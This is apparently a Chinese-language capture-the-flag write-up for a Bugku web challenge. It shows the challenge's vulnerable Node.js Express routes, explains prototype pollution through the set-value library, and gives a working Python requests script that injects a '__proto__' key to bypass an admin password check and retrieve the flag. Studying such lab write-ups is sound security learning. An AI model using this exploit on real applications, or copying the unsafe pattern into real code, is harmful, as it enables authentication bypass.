1. 原题
链接:https://ctf.bugku.com/challenges/detail/id/181.html?id=181&page=1
开启场景后进入一个网页,特点:
- 只有两个页面:\index和\reg
- index页面有点击进入reg页面的链接
2. 过程
进入这个题啊,一样的刷题思路,先看源代码,再看网络,再看请求头,发现都很白,都很朴素,高端的题总是采用最朴素的编码方式。
确认什么都没有之后,用dirsearch
扫目录,一下就扫出一点东西了:
竟然有个www.zip,那不是妥妥的提示吗?直接一手curl两秒下载下来。打开一看,是一个nodejs的前端包。
直接挨个翻一下,看看有什么提示,根据经验来说,重要的文件应该是在routes
和views
里面,看了views
里面是一个错误处理的文件。routes
里面有个index.js
,看名字就很关键。贴一下大概代码:
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const Admin = {
"password":process.env.password?process.env.password:"password"
}
router.post("/getflag", function (req, res, next) {
if (req.body.password === undefined || req.body.password === req.session.challenger.password){
res.send("登录失败");
}else{
if(req.session.challenger.age > 79){
res.send("糟老头子坏滴很");
}
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
}
});
router.get('/reg', function (req, res, next) {
req.session.challenger = {
"username": "user",
"password": "pass",
"age": 80
}
res.send("用户创建成功!");
});
router.get('/', function (req, res, next) {
res.redirect('index');
});
router.get('/index', function (req, res, next) {
res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
if(req.session.challenger === undefined){
res.redirect('/reg');
}else{
if (req.body.attrkey === undefined || req.body.attrval === undefined) {
res.send("传参有误");
}else {
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
}
}
});
module.exports = router;
大概理一下逻辑:
- 要对
/getflag
路径进行post
并且要满足一定的条件,实现代码吐出process.env.flag
- 可以使用
/update
修改req.session.challenger
这个变量中的数据 - 使用
/reg
初始化req.session.challenger
数据
其实后面几步都比较简单,挨个调用对应的网页链接就可以了,最重要的一步应该是:
if(Admin[key] === password){
res.send(process.env.flag ? process.env.flag : "flag{test}");
}else {
res.send("密码错误,请使用管理员用户名登录.");
}
这里的Admin
是一个对象,其属性只有password
,而且我们还不知道这个password
是多少。
总结需要解决的问题:
- 设置
req.session.challenger
中的age
小于79 - 获取
Admin[key]
那怎么解决呢?
3. 思路
仔细看update
函数,其能够使用setFn对req.session.challenger
修改属性值
let key = req.body.attrkey.toString();
let value = req.body.attrval.toString();
setFn(req.session.challenger, key, value);
res.send("修改成功");
因此解决第一个修改age
的问题。
第二个问题怎么查看得到Admin
的内容呢?
关键在于SetFn
函数,这个函数能够修改对象的属性,但对象有一个特殊的属性叫__proto__
指向了这个对象的原型。怎么理解原型呢?我的理解是类似于一个模板类,用面向对象的说法来说类似于抽象类,通过这个类实例化的对象具有相同的属性和方法。
怎么利用这一点?很明显,这里的 req.session.challenger
是一个对象,其原型是Object
,巧的是Admin
也是一样的对象,并且其原型也是Object
。那么我们可以通过修改或增加Object
的属性,从而使得Admin
也具有相同的属性值,这就是原型链污染。
具体原型链污染的原理可以参考:https://www.cnblogs.com/chengzp/p/prototype.html
那么我们对应的思路就出来了:
- 先访问
/reg
方法,初始化req.session.challenger
- 通过
/update
方法修改req.session.challenger.age
的值,让其小于79 - 通过
/update
方法进行原型链污染,修改或增加Admin
的属性
4. 实现
通过上述思路,我们进行对应的代码实现(当然也可以使用bp)如下:
import requests
url = 'http://114.67.175.224:16911/'
s = requests.Session()
s.get(url+'reg')
data = {
'attrkey':'__proto__.vchopin',
'attrval':'password'
}
data1 = {
'attrkey':'age',
'attrval':'60'
}
resp = s.post(url+'update', data=data)
print('1 succ', resp.text)
resp =s.post(url + 'update', data = data1)
print('2 succ', resp.text)
data2 = {
'key':'vchopin',
'password':'password'
}
resp = s.post(url + 'getflag', data = data2)
print(resp.text)
通过运行脚本,就能够得到最后的flag
4.1 提示
- 使用
json
和form
都可以,但是json
要加上对应的content-type
- 不要直接修改原型的
password
,因为修改的时候Admin
已经初始化完成,其password
属性已经被赋值,不能直接从Object
中继承,可以用一个其他的,比如我这里的vchopin
,保证最后/getflag
的时候上传对应的key
就可以了。
评论区